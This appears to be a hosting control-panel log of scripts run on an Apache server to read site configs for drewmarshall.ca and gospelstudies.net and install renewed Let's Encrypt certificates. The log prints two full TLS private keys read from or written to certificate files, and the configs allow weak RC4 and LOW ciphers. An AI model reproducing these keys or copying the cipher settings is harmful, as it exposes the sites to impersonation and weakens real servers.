AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-02 08:37:13: 

PUT: /tmp/pkp731260

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-02 08:37:13: 

chmod 755 /tmp/pkp731260; /tmp/pkp731260; rm /tmp/pkp731260

2026-05-02 08:37:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_www_ca.conf	1282

<VirtualHost *:80>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	drewmarshall.ca
    ServerAlias	www.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt
    DocumentRoot	/var/www/drewmarshall_www
    <Directory /var/www/drewmarshall_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/www_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-05-02 08:37:13: 

PUT: /tmp/pkp323979

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-02 08:37:13: 

chmod 755 /tmp/pkp323979; /tmp/pkp323979; rm /tmp/pkp323979

2026-05-02 08:37:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt	5374
4c:1f:36:a2:84:98:31:7b:49:da:f2:d0:b4:87:68:53

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBnRutjCxc/Jw5oY48KgIynvJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTAyMDczODQxWhcNMjYwNzMxMDczODQwWjAaMRgwFgYDVQQD
Ew9kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC6KIhOPDym4HiE6l/iDdDVf0CmpMaihnE9eY499AtSmUOQ5pgoUvGTwux2954v
/ZHBswLstnEqbqi75gQQGFeunTYxjrTHLB82+/qudXYP3t6LhxZRsAqAUD/G4cjN
XdYoQelnkvwh4Y2pMFayWKaKUb50xbzyWd8TXyPM2s56/479vdRXB6Hn+2k62B7O
KkZ8XK80TJPZUpAUCX17RQp7yLlq3n202WSCwyMuENCUnsGUzqJAYXKGKr4Kuhsb
FctXkpR5G9GcCmZ4Q77OQ379eRflYKo7TmH9f+j2EfhWH4wDWy+2LakGp9fNNVu3
oX+Vz9hTqp6ZKxqCyz/rPomRAgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUHM8k
v7ENsTHqxsuRsZ+69FG0NDgwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM
0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9kcmV3bWFyc2hhbGwuY2GCE3d3dy5kcmV3bWFy
c2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMi5jLmxlbmNyLm9yZy83NC5jcmwwggEMBgorBgEEAdZ5AgQCBIH9
BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAAAZ3n1aUE
AAAEAwBHMEUCIDKLQA5BLox/h/7/JQawTfzx9P2++In7RKjvsmywx0/eAiEAlS6g
aLBVGJRfLwsIG8AThdLZSJSSbo8YXQjupxo/qLYAfgAai51rD/6/gbR5OcbSMQqG
1tEC1PBG4hgsneNfXiYl7wAAAZ3n1aWUAAgAAAUADfodrgQDAEcwRQIhAOi0yKBS
0AXGjJy3YH2UQLl0hq1DdM7omYglGvClI1cLAiAxyPSfRuUK98/EEUU2EiwaMPRw
wkUmQ+1cNUqDc4YnLzANBgkqhkiG9w0BAQsFAAOCAQEAcp7UbvyXdJ14DGGRsuFm
q+YnieVaP8crnUsfkO9EedcBTpGg4bzeOGf8bVUyin3q5qMlKy90TykJUYFC7WT5
AlQoUb6P4nZUSFxJk9lVS34bTRL19yhWLFEdEKVaOMqzReDcx31VaP4GvvRdHuST
9FNTCW1TJ2KGIFQpPr08ySfmNAob0MMplxb5yYn5dARhK21Zp+4V9HPSMxFdIixI
sKGTwDeCf30K0fZFf87uyKlcUwt6exqBIo5Yf6ZF7Om5w7lQ7alVxWP7lSbCCfYG
+zQDsoqHYOsxpk5X3ao84smHzi+slnTrvsQUdUnhQ8JhGvr3NonV94xFApJjK5+N
OQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC6KIhOPDym4HiE
6l/iDdDVf0CmpMaihnE9eY499AtSmUOQ5pgoUvGTwux2954v/ZHBswLstnEqbqi7
5gQQGFeunTYxjrTHLB82+/qudXYP3t6LhxZRsAqAUD/G4cjNXdYoQelnkvwh4Y2p
MFayWKaKUb50xbzyWd8TXyPM2s56/479vdRXB6Hn+2k62B7OKkZ8XK80TJPZUpAU
CX17RQp7yLlq3n202WSCwyMuENCUnsGUzqJAYXKGKr4KuhsbFctXkpR5G9GcCmZ4
Q77OQ379eRflYKo7TmH9f+j2EfhWH4wDWy+2LakGp9fNNVu3oX+Vz9hTqp6ZKxqC
yz/rPomRAgMBAAECggEABNbyK+TaF6VhDg/jotZkshzjGZn8eIP0gcptLGGRzEmk
ACprNQGABTfaytZ8lYc69iKmY4X0NUv9GsJxI1kl/r9YpfXtmk/PNsWbAn9XAgoI
y4Q9QYMpPg/9XSPS+GTVa8SX50Y4Lr96MyEeCzhYXw2e571ZdcxTQHc3cJdVKXfR
SIO9d40GiF8z4ii7eK/lL/a0YLt1nINQ0f7CVY+PcHpratKluRERXLH9PcZp7pI7
h7mymw9p8wREHAZ7hpxuPwV5MtNeiyKooYdcLrSjtbC53PaZ+ks4vgJlws6oPXfu
egkvFFKYsxZ3kewP3fxy3Qq2hB3EFSoGABExP0lS6QKBgQDd8m96hUTxhNsutGzs
o4kfb8vutHNM1kUmSbRl3WQ/Zfc0b/EGDkXdUUWKKlcjjyBE7e0GcCJP0r/8DBsE
S72ykcls/el4b0Zm6AUpy5JHtFC1s9GQU7RkekXZRL1l2JR2c9/TVj2nGunfj0EP
o/kiiCowgQsrL9i1Muj2EbVUuQKBgQDWuGaAI+mawonv6Fj7swkYsjEgi7FvCJKY
ByKqBYfxkCIVVkWT5CLpXOxwDLX+r6/3slw1kkBy5xJdbnb9JxYBwOadV1at3eig
VMbhR3W1rJjvE9hyM0yUWDO9yVh4wNGBO/eT6tbBYNVEOvq+81mA0jxM9sw4reCv
j5/6yECfmQKBgGoxfk9UBpm8pJajM17CHHDTL/MlmelQuENKjqsSk82VvwLy8JKi
L6FmKmyiN5FHAPyaDoe/DVu+DafOLvsONlSDVqn0j0nVjAzexOGrinEOgHN/9ywk
MLLGojcDoc9iIh7O8HAQ2mzi/rW9uDaAkUqJdg5BIBPoz7pbAoYCEQ3ZAoGBAIHs
LCFnGYfKJLqkhYsvRtbJo45E2IUN093nm2LzW9Gf2++7NviIt1MrJema11iXJ8ui
AcdsilC8XtFn8Nm3F8rR1PjpiwpDVuoEwh44JhJasGMhR/u57KFqSUySE1Vlnp8r
EOBQ3cc+92yEn4qBJuwayd/sCaBWHbk9F5kgKHIpAoGAOMmyA6KAZo+sbimj0YKA
pOZ5kt3KxRJbwZpr+0u1QbvROZcXgcBo2ONU2jepKbtw9fZ4UFD9t/uER+S7lexb
HGBdopgHIcC+dw7kbdTLMsBIjn3IkTIdmgJ7rk7IRH1VItOZn+zdE4QlNoGKOLzU
BkcVoe9zE/7yH5DcCDzO0Qk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-04 06:00:02: Establishing a connection
2026-05-04 06:00:02: Establishing a connection
2026-05-04 06:00:02: 

PUT: /tmp/pkp955342

#!/bin/bash
if [ -d "/var/www/gospelstudies_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-04 06:00:09: 

chmod 755 /tmp/pkp955342; /tmp/pkp955342; rm /tmp/pkp955342

2026-05-04 06:00:09: 


1


2026-05-04 06:00:10: Establishing a connection
2026-05-04 06:00:10: 

PUT: /tmp/pkp677770

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cat > UMkyP3gojcej2--2dUlpmKfw_BwGwbhBcth1pOxTGs4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UMkyP3gojcej2--2dUlpmKfw_BwGwbhBcth1pOxTGs4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UMkyP3gojcej2--2dUlpmKfw_BwGwbhBcth1pOxTGs4
cat > 4yu1-YnJRbUR54EDySRy_hQIpB9rPoQMYFgTydFiigM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4yu1-YnJRbUR54EDySRy_hQIpB9rPoQMYFgTydFiigM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4yu1-YnJRbUR54EDySRy_hQIpB9rPoQMYFgTydFiigM


2026-05-04 06:00:11: 

chmod 755 /tmp/pkp677770; /tmp/pkp677770; rm /tmp/pkp677770

2026-05-04 06:00:11: 




2026-05-04 06:00:20: Establishing a connection
2026-05-04 06:00:21: 

PUT: /tmp/pkp383325

#!/bin/bash
mkdir -p "/var/www/gospelstudies_www/.well-known/acme-challenge/"
cd "/var/www/gospelstudies_www/.well-known/acme-challenge/"
rm UMkyP3gojcej2--2dUlpmKfw_BwGwbhBcth1pOxTGs4
rm 4yu1-YnJRbUR54EDySRy_hQIpB9rPoQMYFgTydFiigM


2026-05-04 06:00:21: 

chmod 755 /tmp/pkp383325; /tmp/pkp383325; rm /tmp/pkp383325

2026-05-04 06:00:21: 




2026-05-04 06:00:21: Establishing a connection
2026-05-04 06:00:21: 

PUT: /tmp/pkp558008

#!/bin/bash
temp_file=$(mktemp)
TARGET=9c0bc7e77c379755b26b0bae03e4a9f3.crt

cat > $temp_file <<'endmsg'
6d:7a:f8:3d:ce:2c:e4:17:01:8f:03:f2:f3:a7:f3:3c

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBd2lFGnPQAo21oryXCGNPKEMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA0MDUwMTQ4WhcNMjYwODAyMDUwMTQ3WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALx+hWVAapObKWgib0Hes5pMEYEof2k8DK0Hg32YohFaui4Lt4/DNgT1Wzy1
LxPCnrmpn2uJz+tONSm5XLP4RRoQb6pi18mGDi2OOP3LPal3/Ptg/4F5HyUhEYe6
VwHySiOa2SdkzB8NnNpif34NnQh/SOd5sq5uKLBdc00nWWm5Fyv96egIs0ezQf+1
vhSEdELGJl32xJv/x1E0Pr8kpS7YuLtkv5CwkvBsYzDnxA2iyWhLd36DjvlsCkNL
GzCp6fs/pdomXr79iJIPD8geVguDyPprk7veDUDNygsQiJdsLEZlgKVDkCDvNihB
lB1rkH9qSR0gvUBQ8zCmm1PRlSkCAwEAAaOCAjUwggIxMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBT2
k3koCfDcTTkxDpD6vNMCTyptxTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWdvc3BlbHN0dWRpZXMubmV0ghV3d3cuZ29z
cGVsc3R1ZGllcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMy5jcmwwggELBgorBgEEAdZ5
AgQCBIH8BIH5APcAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAA
AZ3xkrxKAAAEAwBHMEUCIA/v9eJKjMsHGJ+x+wK1zP++R89bL35j9dMGUU1t0vvF
AiEAmCQJQZ82hYMVS7zm8z8Xh38d2ESiKOPFPoQha5ORvUQAfQAm42RuWGkhI7w0
P0ckNZs3ks0kWojYFdOTM/2ZGKtHIwAAAZ3xkryAAAgAAAUADQdKJgQDAEYwRAIg
dNpH6WUpsh8Gl9GGoxhwPVs341NMpirWLhMNUrccMu0CIDKjIA3w7g6PDxsWy5UO
LQvgGOAfTSnBWV8PIpNxgQ4ZMA0GCSqGSIb3DQEBCwUAA4IBAQBAkMii1/d2snmf
mZyMdbgfKOGOnmGafvozljbosFa0JGkoCCPJVvf/QrjqqbRsr2kS4XSxN2QFRIaq
50ZWk597MDcB0LfB2GzUAQKlOJax3RS8u22DHoETbHEVnQRbg7nyzzYPaCFdvFOn
K72VHu9SDyL3Hxz6jVlbwLR4o+guLwWwEbEM1d4RHtoX1CC/OkmpJG/4hJweyXzG
QROH0c5xD1hBgIqCU433aclbcwKNAIGFZrzy87JJh+R9rxCkC9a2HOoRdD3hlql5
Jtvd8z6C1FFqJWv9G2k0s/JyFoUlGrKj3Mw/yGTYVEUZb8u9IC7qsNO1DXvYmHrM
smWIDcoX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8foVlQGqTmylo
Im9B3rOaTBGBKH9pPAytB4N9mKIRWrouC7ePwzYE9Vs8tS8Twp65qZ9ric/rTjUp
uVyz+EUaEG+qYtfJhg4tjjj9yz2pd/z7YP+BeR8lIRGHulcB8kojmtknZMwfDZza
Yn9+DZ0If0jnebKubiiwXXNNJ1lpuRcr/enoCLNHs0H/tb4UhHRCxiZd9sSb/8dR
ND6/JKUu2Li7ZL+QsJLwbGMw58QNosloS3d+g475bApDSxswqen7P6XaJl6+/YiS
Dw/IHlYLg8j6a5O73g1AzcoLEIiXbCxGZYClQ5Ag7zYoQZQda5B/akkdIL1AUPMw
pptT0ZUpAgMBAAECggEAD9KKBYgM+jN33BUp5CxaxKy2enJJEa8X/E1JaRlPH2hP
gQ58O93d0rg6zqOB3mWDl9+ocWk50g14UnaMFNJWEJxJF1MhPHobhhDucUVmeWuI
SZyojfh6GA6Iz20hoRjyxr7YlCE2rjOhE0bZ312qrRwsJTwWtuQp17Ycd+FB9OkO
mDZXfn89O5+Pi8rc0YoPZUvwfF1O1+AVrLiOdSIuY1uFjzLFBXN37xF3gaFS3ZWm
TDGlcLDnlun+oyr/ZJXL5FLV37qq/0FfizK0xoaQu12li4/QruvBUPRODZ0YO1xg
zZExh3O8uoqcXLhnbTwNJtQu+7+NCm/w7efuFC7PIQKBgQD6xGYZFBiWMmOm5fZ9
8s5H0iMOxQBWy8zhEnvyxGFbcz9yDGMWU47h6wXDQ9TgAqcKriFE2mgsrjSK/Pdy
d+aOOo0XkxjS/qJ7V50KjB1R03iicFeh9HN6ccSxnbTJzmWs20sfAiM7i21EW/z1
G3V1yHHb/Wam73vNplFRXZQksQKBgQDAbXWaXcZoXBybfcct9uHEpo4vU+oZY/ZJ
DymCAmNa+OCzCp5MhPhlqvQNaA/O3LcihFObjMPrlIRV4tE7CQDyyagQiYyfQ8O6
xt1I2bTZpIic2zHX5QPuBNvu1yYHJijqDjsyFVtl5MaNlM8x9Vb7zzwA7vrimrsX
47W+qoV1+QKBgQC+OBa+dUkFPenro0ssVO92+YbQYE2WiXe7T1soVyEGztBUweKz
/+RFqRKxARZMapatelMQOKCHLAn9WFCXyy3fu7hlJpbRDojQCTC93HUtKb27cn53
AshKHFy44slNv7vOuHYual+xflz/WsvyXcbm9oqv9nNUtBr0b3IFx3dlsQKBgBKE
tjOj4Ks8ahhgs2FuB+4n5TkSx02oPBRt3B3B4xPnLaCtXeyZQ1ptaE09/X936Dvv
JiirFFPAmDe3u1EGHcw/sefdhOXy3IxGBRe0s93aIreNtK9FP+qRFyVWGTfI6VkV
A4dfXMtih+UqNAJnzPYwzGJ+nTBfma/D30K5IFzpAoGAQpEdsvPNS2ghjBrnUJsu
sEpdjmhofwr6jmJXuNLaHQgi6opnx2GwuDiLSjUm+LJ3sla4yJ+W3YDeX3Vr7lX+
TnGFbyHqTi8CG9cfXzBY7QjcuPiynrtTebgoPwjbqzzAYA8bTEdyYgdnLLZl9kR7
GIsUhsg4n039EeJUsipa02c=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-04 06:00:21: 

chmod 755 /tmp/pkp558008; /tmp/pkp558008; rm /tmp/pkp558008

2026-05-04 06:00:21: 


dir=/etc/ssl/certs


2026-05-04 06:00:21: 

PUT: /tmp/pkp239843

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/gospelstudies_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-04 06:00:21: 

chmod 755 /tmp/pkp239843; /tmp/pkp239843; rm /tmp/pkp239843

2026-05-04 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf 45

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-04 06:00:21: 

PUT: /tmp/pkp354679

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=gospelstudies_www_net.conf
TARGET=/etc/apache2/sites-enabled/gospelstudies_www_net.conf
